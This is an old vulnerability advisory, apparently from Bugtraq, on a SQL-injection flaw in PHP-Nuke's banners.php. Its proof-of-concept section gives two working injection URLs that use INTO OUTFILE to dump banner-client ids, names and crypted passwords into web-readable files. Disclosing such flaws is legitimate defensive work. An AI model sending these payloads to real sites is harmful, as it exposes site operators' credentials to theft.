PHPNuke Banners.PHP Banner Manager Password Disclosure Vulnerability

BID:7170

Info

PHPNuke Banners.PHP Banner Manager Password Disclosure Vulnerability

Bugtraq ID: 7170
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 22 2003 12:00AM
Updated: Mar 22 2003 12:00AM
Credit: Discovery credited to "Frog Man" <[email protected]>.
Vulnerable: Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 5.6
Not Vulnerable:

Discussion

PHPNuke Banners.PHP Banner Manager Password Disclosure Vulnerability

It has been reported that an input validation error exists in the banners.php file included with PHPNuke. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database, and potentially access sensitive information, then download it via the web.

Exploit / POC

PHPNuke Banners.PHP Banner Manager Password Disclosure Vulnerability

The following exploit information was provided by Frog Man <[email protected]>:

This will save id, name and crypted password into
http://www.example.com/banners1.txt :
http://www.example.com/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt

This will save crypted password into http://[target]/banners2.txt :
http://www.example.com/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt

References

PHPNuke Banners.PHP Banner Manager Password Disclosure Vulnerability

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